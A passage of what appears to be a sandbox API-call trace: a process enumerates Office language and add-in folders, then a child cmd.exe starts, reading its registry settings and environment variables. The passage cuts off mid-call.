[0122.184] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0122.187] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.187] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0122.195] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.195] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0122.199] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.199] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0122.206] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.206] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0122.209] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0122.215] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.215] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0122.220] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.220] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0122.224] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.224] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0122.229] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.229] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0122.229] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0122.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0122.232] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0123.273] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.273] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0123.282] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.282] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0123.291] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.291] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0123.300] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.300] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0123.306] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.306] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0123.315] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.315] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0123.832] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.832] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0123.875] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.876] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0123.877] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0123.877] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 Thread: id = 26 os_tid = 0xf3c Thread: id = 27 os_tid = 0xf14 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x18522000" os_pid = "0x1378" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x112c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x137c [0104.782] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6028b0000 [0104.782] __set_app_type (_Type=0x1) [0104.782] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6028c6d00) returned 0x0 [0104.783] __getmainargs (in: _Argc=0x7ff6028e9200, _Argv=0x7ff6028e9208, _Env=0x7ff6028e9210, _DoWildCard=0, _StartInfo=0x7ff6028e921c | out: _Argc=0x7ff6028e9200, _Argv=0x7ff6028e9208, _Env=0x7ff6028e9210) returned 0 [0104.783] _onexit (_Func=0x7ff6028c7fd0) returned 0x7ff6028c7fd0 [0104.783] _onexit (_Func=0x7ff6028c7fe0) returned 0x7ff6028c7fe0 [0104.783] _onexit (_Func=0x7ff6028c7ff0) returned 0x7ff6028c7ff0 [0104.783] _onexit (_Func=0x7ff6028c8000) returned 0x7ff6028c8000 [0104.784] _onexit (_Func=0x7ff6028c8010) returned 0x7ff6028c8010 [0104.784] _onexit (_Func=0x7ff6028c8020) returned 0x7ff6028c8020 [0104.784] GetCurrentThreadId () returned 0x137c [0104.784] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x137c) returned 0x70 [0104.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0104.785] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990 [0104.785] SetThreadUILanguage (LangId=0x0) returned 0x409 [0105.076] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0105.076] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x10a4effb38 | out: phkResult=0x10a4effb38*=0x0) returned 0x2 [0105.077] VirtualQuery (in: lpAddress=0x10a4effb24, lpBuffer=0x10a4effaa0, dwLength=0x30 | out: lpBuffer=0x10a4effaa0*(BaseAddress=0x10a4eff000, AllocationBase=0x10a4e00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0105.077] VirtualQuery (in: lpAddress=0x10a4e00000, lpBuffer=0x10a4effaa0, dwLength=0x30 | out: lpBuffer=0x10a4effaa0*(BaseAddress=0x10a4e00000, AllocationBase=0x10a4e00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0105.077] VirtualQuery (in: lpAddress=0x10a4e01000, lpBuffer=0x10a4effaa0, dwLength=0x30 | out: lpBuffer=0x10a4effaa0*(BaseAddress=0x10a4e01000, AllocationBase=0x10a4e00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0105.077] VirtualQuery (in: lpAddress=0x10a4e04000, lpBuffer=0x10a4effaa0, dwLength=0x30 | out: lpBuffer=0x10a4effaa0*(BaseAddress=0x10a4e04000, AllocationBase=0x10a4e00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0105.077] VirtualQuery (in: lpAddress=0x10a4f00000, lpBuffer=0x10a4effaa0, dwLength=0x30 | out: lpBuffer=0x10a4effaa0*(BaseAddress=0x10a4f00000, AllocationBase=0x10a4f00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0105.077] GetConsoleOutputCP () returned 0x1b5 [0105.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6028efbb0 | out: lpCPInfo=0x7ff6028efbb0) returned 1 [0105.664] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6028d8150, Add=1) returned 1 [0105.664] _get_osfhandle (_FileHandle=1) returned 0x254 [0105.664] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6028efc04 | out: lpMode=0x7ff6028efc04) returned 0 [0105.664] _get_osfhandle (_FileHandle=0) returned 0x248 [0105.664] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6028efc00 | out: lpMode=0x7ff6028efc00) returned 0 [0105.664] _get_osfhandle (_FileHandle=1) returned 0x254 [0105.664] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0105.664] _get_osfhandle (_FileHandle=1) returned 0x254 [0105.664] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6028efc08 | out: lpMode=0x7ff6028efc08) returned 0 [0105.665] _get_osfhandle (_FileHandle=0) returned 0x248 [0105.665] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6028efc0c | out: lpMode=0x7ff6028efc0c) returned 0 [0105.665] GetEnvironmentStringsW () returned 0x1723e9c5a10* [0105.665] GetProcessHeap () returned 0x1723e9c0000 [0105.665] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xa7c) returned 0x1723e9c64a0 [0105.665] FreeEnvironmentStringsA (penv="A") returned 1 [0105.665] GetProcessHeap () returned 0x1723e9c0000 [0105.665] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x8) returned 0x1723e9c6f30 [0105.665] GetEnvironmentStringsW () returned 0x1723e9c5a10* [0105.665] GetProcessHeap () returned 0x1723e9c0000 [0105.665] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xa7c) returned 0x1723e9c6f50 [0105.666] FreeEnvironmentStringsA (penv="A") returned 1 [0105.666] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x10a4efe9e8 | out: phkResult=0x10a4efe9e8*=0x7c) returned 0x0 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x4, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x1, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x1, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x0, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x40, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x40, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.666] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x40, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.666] RegCloseKey (hKey=0x7c) returned 0x0 [0105.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x10a4efe9e8 | out: phkResult=0x10a4efe9e8*=0x7c) returned 0x0 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x40, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x1, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x1, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x0, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x9, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x4, lpData=0x10a4efea00*=0x9, lpcbData=0x10a4efe9e4*=0x4) returned 0x0 [0105.667] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x10a4efe9e0, lpData=0x10a4efea00, lpcbData=0x10a4efe9e4*=0x1000 | out: lpType=0x10a4efe9e0*=0x0, lpData=0x10a4efea00*=0x9, lpcbData=0x10a4efe9e4*=0x1000) returned 0x2 [0105.667] RegCloseKey (hKey=0x7c) returned 0x0 [0105.667] time (in: timer=0x0 | out: timer=0x0) returned 0x5e9cba6f [0105.667] srand (_Seed=0x5e9cba6f) [0105.667] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0105.667] malloc (_Size=0x4000) returned 0x1723eca54f0 [0105.668] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0105.668] malloc (_Size=0xffce) returned 0x1723eac0080 [0105.668] ??_V@YAXPEAX@Z () returned 0x1723eac0080 [0105.669] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1723eac0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0105.669] malloc (_Size=0xffce) returned 0x1723ead0060 [0105.670] ??_V@YAXPEAX@Z () returned 0x1723ead0060 [0105.670] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1723ead0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0105.670] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0105.670] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0105.670] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0105.671] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0105.671] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0105.671] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0105.671] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0105.671] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0105.671] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0105.671] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0105.671] _wcsicmp (_String1="PROMPT", 